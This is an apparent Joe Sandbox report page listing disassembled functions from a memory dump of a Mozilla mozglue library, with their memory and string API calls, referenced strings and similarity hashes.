malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB5B58D,?,?,?,?,?,?,?,6CB8D734,?,?,?,6CB8D734), ref: 6CB68F46
free.MOZGLUE(?,?,?,?,6CB5B58D,?,?,?,?,?,?,?,6CB8D734,?,?,?), ref: 6CB68F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB5B58D,?,?,?,?,?,?,?,6CB8D734,?,?,?), ref: 6CB68F8F

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: afe62afaa11c224e82269863cfffd2ebb7a99868dca65bf7b377503931d940e3
Instruction ID: 2377063f9bca78f023a311c2982361cf6eebebcbc2a9d57f60d5e9f07a80122a
Opcode Fuzzy Hash: afe62afaa11c224e82269863cfffd2ebb7a99868dca65bf7b377503931d940e3
Instruction Fuzzy Hash: 4751A5B1A012568FEF14CF55D88076E73B6FF46318F15092AD916ABB40E732F905CB92

Function 6CB260E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CB25FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB260F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CB25FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB26180
free.MOZGLUE(?,?,?,?,6CB25FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB26211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CB25FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB26229
free.MOZGLUE(?,?,?,?,6CB25FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB2625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB25FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB26271

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 567d3d33269bad94da0e9f533f343a41e55d7ae280ef4060f6110a8a087c58bb
Instruction ID: 788dfd154d2f7f872aced6e78eb394fed9ebfaeac36b9c8183329e1a5777684d
Opcode Fuzzy Hash: 567d3d33269bad94da0e9f533f343a41e55d7ae280ef4060f6110a8a087c58bb
Instruction Fuzzy Hash: FF51AFB1A002468FEB14CFA8D8807AEB7B5EF45308F210439C51AD7751E739F954CB62

Function 6CB627E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB62620,?,?,?,6CB560AA,6CB55FCB,6CB579A3), ref: 6CB6284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB62620,?,?,?,6CB560AA,6CB55FCB,6CB579A3), ref: 6CB6289A
free.MOZGLUE(?,?,?,6CB62620,?,?,?,6CB560AA,6CB55FCB,6CB579A3), ref: 6CB628F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB62620,?,?,?,6CB560AA,6CB55FCB,6CB579A3), ref: 6CB62910
free.MOZGLUE(00000001,?,?,6CB62620,?,?,?,6CB560AA,6CB55FCB,6CB579A3), ref: 6CB6293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CB62620,?,?,?,6CB560AA,6CB55FCB,6CB579A3), ref: 6CB6294E

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8ab803e21cd785c43fbe5f216cfde91817053d82bb61599271f38601daaba4e0
Instruction ID: 73df4b28ee3ecc7e922e82e725972221f95a0fbfa3324fd54467b38bd5be4821
Opcode Fuzzy Hash: 8ab803e21cd785c43fbe5f216cfde91817053d82bb61599271f38601daaba4e0
Instruction Fuzzy Hash: 0941AFB1A002568BFB14CF69D88876A73F6EF85308F150539D55BEBB80E731E904CB52

Function 6CB1CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9E784), ref: 6CB1CFF6
LeaveCriticalSection.KERNEL32(6CB9E784), ref: 6CB1D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CB1D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CB1D139

Strings

MOZ_CRASH(), xrefs: 6CB1D187

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 4ef6307a4bf04eaf5bc886b14f5c332f65487310ee39aa76a7f2a3c3a280f409
Instruction ID: 16900adc6f42038536865c14e98e6cf391eb9591a06b9e893b0e43b9eb1040d5
Opcode Fuzzy Hash: 4ef6307a4bf04eaf5bc886b14f5c332f65487310ee39aa76a7f2a3c3a280f409
Instruction Fuzzy Hash: 3A41E232B442568FCB15CE7C9E9436E36B4FB5A720F250239E918E7B84D7B59C008BC2

Function 6CB14DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB14E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB14E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB14EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB14F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CB14F1E

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: abe2581f1e88be7394525632df3d8df662c0856306f0e5b1109071dc9930a4ec
Instruction ID: 34ab17abb3e0a8880d0a9a528adacab5e6f123a900b65197e748a2709221149b
Opcode Fuzzy Hash: abe2581f1e88be7394525632df3d8df662c0856306f0e5b1109071dc9930a4ec
Instruction Fuzzy Hash: 4941CF726087859FCB05CF29C48095BB7E4FF8A358F108A2DF56997B41DB30E958CB92

Function 6CB21530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CB2152B,?,?,?,?,6CB21248,?), ref: 6CB2159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB2152B,?,?,?,?,6CB21248,?), ref: 6CB215BC
moz_xmalloc.MOZGLUE(-00000001,?,6CB2152B,?,?,?,?,6CB21248,?), ref: 6CB215E7
free.MOZGLUE(?,?,?,?,?,?,6CB2152B,?,?,?,?,6CB21248,?), ref: 6CB21606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CB2152B,?,?,?,?,6CB21248,?), ref: 6CB21637

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 22637c44bff9441d0492b2d8933a85a71e15c869e332f0ad114376ccc7917daa
Instruction ID: faf3159bc996cec4360c1c524d8b44a53cc8697c1f07e2ac11d52be65e95c9a6
Opcode Fuzzy Hash: 22637c44bff9441d0492b2d8933a85a71e15c869e332f0ad114376ccc7917daa
Instruction Fuzzy Hash: 8C31D8729001548BCB148E78D85087E77A9FB8136472C0B6DE82BDBBD4EB35DD158792

Function 6CB7AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB8E330,?,6CB3C059), ref: 6CB7AD9D

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB8E330,?,6CB3C059), ref: 6CB7ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB8E330,?,6CB3C059), ref: 6CB7AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB8E330,?,6CB3C059), ref: 6CB7AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB8E330,?,6CB3C059), ref: 6CB7AE3D

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b27b9d49205acdc36f9c77506a1448210bf76d56a2e01d57e01a9b314ff1f9bc
Instruction ID: a22f8a44aae1ff7dd2ee1454bcdf0815ec247e505aae2769dbee4db218214b41
Opcode Fuzzy Hash: b27b9d49205acdc36f9c77506a1448210bf76d56a2e01d57e01a9b314ff1f9bc
Instruction Fuzzy Hash: 0A3152B1A012559FDB50DF758D44AAFB7F8EF49614F158829E85AD7700E734D804CBA0

Function 6CB75EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB8DCA0,?,?,?,6CB4E8B5,00000000), ref: 6CB75F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB4E8B5,00000000), ref: 6CB75F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB4E8B5,00000000), ref: 6CB75F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB4E8B5,00000000), ref: 6CB75F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB4E8B5,00000000), ref: 6CB75FD6

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 3cae54216f59522d347cd59374528eb64fbb6d97bea2dc1c87d93b5ddb72e2d6
Instruction ID: 33259d22494ea137d98110b2cda83143affcffb3f7c22ecc577a04b8edb1e4dc
Opcode Fuzzy Hash: 3cae54216f59522d347cd59374528eb64fbb6d97bea2dc1c87d93b5ddb72e2d6
Instruction Fuzzy Hash: F2312E343006408FDB20CF29C898E6AB7F9FF89319F644558E9668BBA5C731EC45CB91

Function 6CB1B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CB1B532
moz_xmalloc.MOZGLUE(?), ref: 6CB1B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB1B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CB1B57E
free.MOZGLUE(00000000), ref: 6CB1B58F

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 5e389ff5215379ff42aaf5f59e3eb6529159de65e84b8889f806f16978a700d1
Instruction ID: 3cb41d8941b89168d02332d93a94a783b3f68b9cf568741005b96976f286e2fa
Opcode Fuzzy Hash: 5e389ff5215379ff42aaf5f59e3eb6529159de65e84b8889f806f16978a700d1
Instruction Fuzzy Hash: 832137B1A042459BDB008F69CC51BAEBBB9FF42304F284028E818DB741F736DD01C7A1

Function 6CB1B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB1B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CB1B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CB1B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB1B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1B849

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 9950b648660da00473c93437d0c93f5dcb26af0e990b87ca63ae6e93729a71ef
Instruction ID: 2e36ef6de53f31f1e2df095dc1c012ae59d76073b97b54116b30c219ecfb10f7
Opcode Fuzzy Hash: 9950b648660da00473c93437d0c93f5dcb26af0e990b87ca63ae6e93729a71ef
Instruction Fuzzy Hash: 23215CB0E042499FDF04DFA9C8855BFBBB8EF49714F148129EC09A7700E731A944CBA1

Function 6CB76E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB76E78

Part of subcall function 6CB76A10: InitializeCriticalSection.KERNEL32(6CB9F618), ref: 6CB76A68
Part of subcall function 6CB76A10: GetCurrentProcess.KERNEL32 ref: 6CB76A7D
Part of subcall function 6CB76A10: GetCurrentProcess.KERNEL32 ref: 6CB76AA1
Part of subcall function 6CB76A10: EnterCriticalSection.KERNEL32(6CB9F618), ref: 6CB76AAE
Part of subcall function 6CB76A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB76AE1
Part of subcall function 6CB76A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB76B15
Part of subcall function 6CB76A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CB76B65
Part of subcall function 6CB76A10: LeaveCriticalSection.KERNEL32(6CB9F618,?,?), ref: 6CB76B83

MozFormatCodeAddress.MOZGLUE ref: 6CB76EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB76EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB76EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CB76EFF

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 6d248685b0fb2d7b0f08e82514e414cf6cc02495a03cb41a2e48aff77af8a4aa
Instruction ID: 1f0ba273c22127591be9741aecf5acbcb2540f0a119aabb53501c3d3996fd8fd
Opcode Fuzzy Hash: 6d248685b0fb2d7b0f08e82514e414cf6cc02495a03cb41a2e48aff77af8a4aa
Instruction Fuzzy Hash: BA21C171A0425A8FDF14CF29D885ADE7BF9FF85308F044039E81997240EB309A48CFA2

Function 6CB776C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB776F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB77705

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB77717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB7778F,00000000,00000000,00000000,00000000), ref: 6CB77731
free.MOZGLUE(00000000), ref: 6CB77760

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: ff434ac6c813a045e19c5dbed1636760ff06acd351ea05fabb9ab44ca4f6697e
Instruction ID: e4d4a0ab9ddc122cdb0b178b8220137d6df9088a155789c66391b6a1ab63a5bf
Opcode Fuzzy Hash: ff434ac6c813a045e19c5dbed1636760ff06acd351ea05fabb9ab44ca4f6697e
Instruction Fuzzy Hash: 1111C4B19013656BEB20AF768C44BAFBEE8EF56354F144529F858E7300E774884487F2

Function 6CB50D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CB13DEF), ref: 6CB50D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CB13DEF), ref: 6CB50D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CB13DEF), ref: 6CB50DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB50D97, 6CB50DBE
<jemalloc>, xrefs: 6CB50D92, 6CB50DB9

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 905dc5399d89eaee1ef1b57935023e27264075d8af734f4bf07c7dfcf8c0d8f5
Instruction ID: f2342c8b4277b1a391c40a33160f18c0b0819dd51940602e83f8bb796f09ad2f
Opcode Fuzzy Hash: 905dc5399d89eaee1ef1b57935023e27264075d8af734f4bf07c7dfcf8c0d8f5
Instruction Fuzzy Hash: 56F0E9723802E423E6302D6A3C0AB6A265DABC3B69F744035FE15DB9C0DA50E8105AA5

Function 6CB67620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB675C4,?), ref: 6CB6762B

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB674D7,6CB715FC,?,?,?), ref: 6CB67644
GetCurrentThreadId.KERNEL32 ref: 6CB6765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB674D7,6CB715FC,?,?,?), ref: 6CB67663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB674D7,6CB715FC,?,?,?), ref: 6CB67677

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 12fbece9fe57bc3d8d52fd263041b55aeacb4d90faf65f890b5c19fdcae3338e
Instruction ID: c27fc775056fe4725b0d479a3c854ff70c2cd8067a2eeacbc11dec6d5ac35bdb
Opcode Fuzzy Hash: 12fbece9fe57bc3d8d52fd263041b55aeacb4d90faf65f890b5c19fdcae3338e
Instruction Fuzzy Hash: 22F0C271E10785ABE700CF21C988676B778FFEB659F225316F90853601E7B0A5D08BD0

Function 6CB71700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB71800

Part of subcall function 6CB4CBE8: GetCurrentProcess.KERNEL32(?,6CB131A7), ref: 6CB4CBF1
Part of subcall function 6CB4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB131A7), ref: 6CB4CBFA

Part of subcall function 6CB14290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB53EBD,6CB53EBD,00000000), ref: 6CB142A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CB718C7
Details, xrefs: 6CB71925
name, xrefs: 6CB71939

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: b75f7bf3500ed9706f618ce2aa234eee659e2f0b6758ac3fa8b30aa36577384c
Instruction ID: 98e7027971a1592dc7cf353bd00a6a81b6439b568558b1fc6e03f1619002bd39
Opcode Fuzzy Hash: b75f7bf3500ed9706f618ce2aa234eee659e2f0b6758ac3fa8b30aa36577384c
Instruction Fuzzy Hash: 7571E4B0A0438A9FC704DF28D4907AEBBB1FF46314F144669D8194BB41D770EA99CBE2

Function 6CB7B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CB7B0A6,6CB7B0A6,?,6CB7AF67,?,00000010,?,6CB7AF67,?,00000010,00000000,?,?,6CB7AB1F), ref: 6CB7B1F2
